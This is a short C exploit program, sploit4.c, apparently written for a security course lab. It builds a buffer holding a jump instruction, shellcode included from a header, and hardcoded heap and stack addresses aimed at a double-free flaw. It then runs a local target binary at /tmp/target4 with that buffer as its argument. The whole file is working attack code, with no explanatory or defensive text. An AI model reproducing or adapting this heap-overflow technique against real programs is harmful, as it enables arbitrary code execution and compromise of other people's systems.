sploit4.c

/*
 * sploit4.c
 * Author - Saul Laufer
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target4"
#define SIZE 1024
#define JMP8B "\xeb\x06"

int main(void)
{
  char *args[3];
  char *env[1];

  char buf[SIZE];

  //initialize injection buffer
  memset (buf, 1, sizeof(buf));

  //null terminate end
  buf[SIZE - 1] = 0;

  //jump 8 bytes forward, buf + 4 is garbled after double free()
  memcpy (buf, JMP8B, strlen(JMP8B));

  //insert shellcode at buf + 8 so jump directs to SC
  memcpy ((buf + 8), shellcode, strlen (shellcode));


  //beginning of p's allocated space
  *(int*)(buf + 200) = 0x8059878;

  //foo's %eip
  *(int*)(buf + 204) = 0xbffffa7c;

  args[0] = TARGET;
  args[1] = buf;
  args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}